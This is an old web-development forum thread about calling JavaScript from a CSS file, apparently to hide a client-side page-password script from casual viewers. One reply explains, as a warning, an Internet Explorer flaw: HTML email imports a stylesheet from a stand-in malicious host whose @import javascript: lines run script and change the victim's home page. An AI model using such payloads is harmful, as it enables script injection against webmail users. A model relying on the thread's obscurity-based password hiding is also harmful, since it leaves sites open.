JS call from CSS - ? 2

[Wulfgen]

I've seen this done before but I'm not sure about the code - where one places the call to a js file in the css file, that way the casual observer can't see the code (its not a foolproof thing but it helps a little)

I can't remeber how it's done - anyone out there know how?

 

[rpgfan3233]

Not possible by the W3C CSS standard. Microsoft provides a proprietary expression() function as an extension to CSS. It is most commonly used to make IE conform to the rest of the browser's implementations. Here's a recent use I found for it:

#foo:empty {
display: none;
}

#foo {
display: expression(this.innerHTML.length == 0 ? 'none' : 'block');
}

This code basically says that if the element with the ID "foo" has no content, it should be hidden, with no space taken up by it. IE has no support for the :empty pseudo-class however. So an additional declaration is created to set the 'display' property to "none" if the length of the content is 0. If there is content, it is set to "block". This emulates the :empty pseudo-class.

 

[Wulfgen]

Oops I didnt explain myself right, somehow in the css stylesheet you can do a call to a .js file ( @import url(javascript.js ) not sure if I'm explaining right

 

[Vragabond]

Wulfgen, so you're trying to mask your css? Can I ask why? I cannot picture your css has any sensitive data that needs to be protected and if you think your css is so much better than that of Eric Meyer, Jeffrey Zeldman and others who volunteer their css efforts freely then maybe you shouldn't publish it on the web.

I have never heard of a javascript call in css, though I could imagine that one could write out css file with javascript if that was desired. I don't see the point of alienating non-javascript users that way though.

 

[ChrisHunt]

Oops I didnt explain myself right, somehow in the css stylesheet you can do a call to a .js file

You explained yourself just fine, you're just wrong. You can't validly import a javascript file in CSS. You may be able to do so in IE, but it's not part of the standard and it won't work in other browsers.

You can't hide your source. Live with it.

-- Chris Hunt
Webmaster & Tragedian
Extra Connections Ltd

 

[BabyJeffy]

You can include a linked external javascript file (a plain text file that contains your javascript - but doesn't contain any <script> or </script> tags) using the following syntax...

<script type="text/javascript" src="path/to/file.js"></script>

I have no idea if this is what you mean... but it's not been suggested so far

Cheers,
Jeff

[tt]Jeff's Page [/tt][tt]@[/tt][tt] Code Couch

http://www.codecouch.com/jeff/

[/tt]

 

[Wulfgen]

Thats it! its where the file is called from the css - then the casual "view source" observer has to then look at the css to see where the javascript source file is (that is if they are savvy enough to do that - and some are, but not most)- thats it - give you a star dude

 

[Wulfgen]

oh dang - i just realized I'm wrong

 

[Vragabond]

The code given by Jeff can be used in html document, not in a css one. In a css document it will generate errors and prevent stylesheet to work. I fail to see how embedding a javascript script will help you mask your css.

 

[Wulfgen]

I just realized what Jeffy said - I know that I cant embed the "script" into a css file... however I've seen some css where the call like the one you can do in html -- (like Jeffy's) -- is done to the external javascript file - I just cant remember the actual code lines required.

 

[Wulfgen]

Hello
its kinda like this - I think - and this is in the css file:
@import url("script.js");

 

[ChrisHunt]

You maybe saw something that works in IE. You can't do it on browsers that follow the standards.

Anybody that wants to view your source will do so. Don't waste your time trying to hide it, spend it making the code worth copying. Imitation is the sincerest form of flattery after all!

-- Chris Hunt
Webmaster & Tragedian
Extra Connections Ltd

 

[mkrausnick]

Here's an explanation how to do it, as well as all the reasons you shouldn't:

http://www.quirksmode.org/css/javascript.html

Mike Krausnick
Dublin, California

 

[Wulfgen]

Yikes, I'm NOT trying to ADD a script to a css file, I've seen this done (and I'm busily looking for it) where the css simply calls to the external js file - similar to the way a html does the same thing (Jeffy) however, all it is doing is kinda/sorta hiding it from the average Joe - I really don't care if the code can be read - I'm just masking it as to appease my client - thats all

 

[dwarfthrower]

Why not just call the CSS externally:
[tt]<link href="/resources/mystyles.css" rel="stylesheet" type="text/css">[/tt]

That way it's not visible on first glance at the source code, if the client is dumb enough to request the CSS be 'hidden' then they're dumb enough to be satisfied with that.

[sub]Never be afraid to share your dreams with the world.
There's nothing the world loves more than the taste of really sweet dreams.[/sub]

 

[Wulfgen]

What am I not explaining right here? I'm NOT trying to hide the css at all - if I'm trying to use css as a vehicle to import an external js file then obviously I'm using the link to a css already! - a few weeks ago I saw a site where the external javascript was called via a ( @import intruction in a css file ) the ONLY way to see the .js file was to open the css and see where the location of the .js was housed.. Im not trying to add any javascript to the css.nor am I trying/or care if someone sees the javascript at all - all this does is sorta/kinda mask in the css the location of the javascript file is - thats it!

Its virtually impossible to hide javascripot from a serious developer or hacker or whatever, I know that already too. Also know that you can call js or css externally - just to clarify that as well.

 

[dwarfthrower]

What am I not explaining right here?

Why exactly you want to do what you are asking? Why would it matter whether you opened the CSS file to see the location of the js file or viewed the source.

However, I do believe the technique you are referring to is injecting javascript into the @import CSS directive leveraging the fact that it registers javascript: as a valid URL protocol.

I would recommend you don't go down this route. It only 'works' in ie, only for line by line javascript code (not whole .js files) and it's not meant to work that way at all. It's actually considered a security flaw in IE and will more than likely get nerfed in an update sometime soon.

The problem is as follows:

A malicious individual sends some unsolicited email to people using browser based email systems. Most of these have pretty good javascript filtering to avoid nasty things happening like your home page being set to

http://www.mypornsite.com

when you open the email. However, they do allow HTML email with CSS. So in the malicious email, the nasty person would put an innocuous enough couple of lines like:

<style>
@import(url([URL unfurl="true"]http://www.mypornsite.com/maliciouscode.css));[/URL]
</style>

Which is cool, just importing a stylesheet right?

If that stylesheet is simply made up of mangled @import directives, like so:

@import(url(javascript:window.external.setHomePage('[URL unfurl="true"]http://www.mypornsite.com');[/URL]
@import(url(javascript:alert('malicious code complete!')));

What you're really doing is the equivalent of running a JS file.... a nasty one, cross domain, in what is probably a trusted site.

[sub]Never be afraid to share your dreams with the world.
There's nothing the world loves more than the taste of really sweet dreams.[/sub]

 

[Wulfgen]

Not that malicious Dude!

What if you were to have a javascript based menu system? with all the positioning/enabling/variables built in? You would then cut down the amount of code per page by using an external js file and call to it from the html page, right? <script type="text/javascript" src="path/to/file.js"></script>

Now you have all the code available, but you then want to take the variables into a second js file and call it the same way, you can still see the js, right? So by using the css <link href="/resources/mystyles.css" rel="stylesheet" type="text/css"> then add @import(url(whatever.js)); you can partially "hide" them from the (as I mentioned before) casual viewer by using the @import(url(whatever.js)); and call to the variables js file from there... whats so malicious about that? You could possibly do a similar thing with a password script also (not infallible - but something however)

Most people would'nt look in the css for a js call do they? Not that many, some, yes, but not all.

All I'm trying to do is break up a script, how did this turn into

What you're really doing is the equivalent of running a JS file.... a nasty one, cross domain, in what is probably a trusted site.

How can you suggest that? without really understanding what I'm doing here? I think I've explained what I'm doing pretty well. I just cant remember the correct syntax. I'm NOT doing anything bad here, so please don't say that. The site isn't even live yet.

 

[dwarfthrower]

Sorry... I didn't mean to imply that YOU were a malicious individual hell-bent on setting my home page to somethingnasty.com.

I was merely presenting an example of how this could be used to break the security model of the browser as a reason why it would more than likely be rectified in the near future.

There's nothing about the technique that is inherently malicious, nor - that I can see - is there anything terribly wrong with what you are trying to do.

However, the potential that this technique has for _other people_ to cause havoc with means that it probably won't be "supported" by the one browser that can be bent that way for much longer.

If you're really interested in running script from your css, you can use IE's [tt]behavior[/tt] attribute from within your CSS document to call a .HTC file containing all the script for that element type.

If your CSS looked like:

<style>
.menuItem {
 width: 150px;
 color: #3333FF;
 behavior: url('/resources/menu.htc');
}
</style>

Whenever an element was declared with the class="menuItem" the css would call the menu.htc file to gather the script to assign the appropriate behaviours to the element.

The .htc might look like:

<PUBLIC:ATTACH EVENT="ondocumentready" ONEVENT="initialise()" />
<PUBLIC:ATTACH EVENT="onmouseover" ONEVENT="domouseover()" />
<PUBLIC:ATTACH EVENT="onmouseout" ONEVENT="domouseout()" />
<SCRIPT LANGUAGE="JScript">

function initialise(){
 ...
}

function domouseover(){
 ...
}

function domouseout(){
 ...
}

</SCRIPT>

[sub]Never be afraid to share your dreams with the world.
There's nothing the world loves more than the taste of really sweet dreams.[/sub]

 

[Wulfgen]

OK here is exactly what I'm trying to do... there is a nice page password script out there by Joe Barto -

http://www.pagetutor.com/keeper/

- its a page password script.

All I'm trying to do is take the basic code of the password into a separate file (like the variables) I mentioned and call it from the css file rather than from the html - that way I can partially mask it from ther "casual" code lookyloo - does that make sense?

I remember part of the syntax, and its a lot smaller and simpler than what you have shown (thanks anyway) and it starts with the @import - url - something or rather... I forget what it is dang it!